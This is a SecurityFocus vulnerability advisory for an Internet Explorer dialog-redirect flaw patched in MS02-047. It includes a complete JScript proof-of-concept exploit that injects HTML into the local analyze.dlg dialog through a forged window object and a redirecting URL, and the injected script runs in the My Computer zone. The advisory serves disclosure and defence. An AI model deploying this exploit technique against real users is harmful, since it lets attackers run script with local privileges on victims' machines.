source: http://www.securityfocus.com/bid/5561/info

Microsoft Internet Explorer includes support for dialog windows through script calls to the two functions showModalDialog and showModelessDialog. These functions accept a URL location for the dialog content, and an option argument parameter to allow data to be passed to the dialog from the calling page.

A check is done to ensure that data is only passed to dialogs located in the same domain as the calling page. This prevents a malicious party from injecting content into arbitrary dialogs. However, if the URL provided as the dialog source redirects to a second location, only the first is subject to this security check.

Exploitation may allow malicious content to be inserted into sensitive dialogs. Execution of arbitrary script within the Local Computer Zone has been demonstrated.

This variant is related to the injection of malicious content into the analyze.dlg dialogue included in shdoclc.dll. This issue was originally included in BID 4527, however a new entry has been allocated to cover the patch released in Microsoft advisory MS02-047. 

<script language="jscript">
// HTML to be injected (will run in the "My Computer" zone)
var sHTML="<b>We're in!</b>";

// Object to return from tags("link"), must be a function because they use
// objects(i) instead of objects[i], VB style collection access.
function oExploit(iSec) {
    return {
        // Satisfy line 201
        rel:"stylesheet",

        // Satisfy line 204
        readyState:"exploit",

        // Exploit line 205
        href:sHTML
    };
}

// A length property so it will enter the loop
oExploit.length=1;

// A fake window object, so no errors will be raised during the process,
// the custom "tags" method will return an empty array for any element
// other than our target (<link>), in which case it will return the oExploit
// object above.
var oSecurity={
    document:{
        all:{
            tags:function (sTag) {
                return sTag=="link" ? oExploit : [];
            }
        }
    }
}

// Run exploit, getFile.asp redirects to res://shdoclc.dll/analyze.dlg
// and oSecurity (fake window) is sent as the dialog argument.
showModelessDialog("getFile.asp",oSecurity);
</script>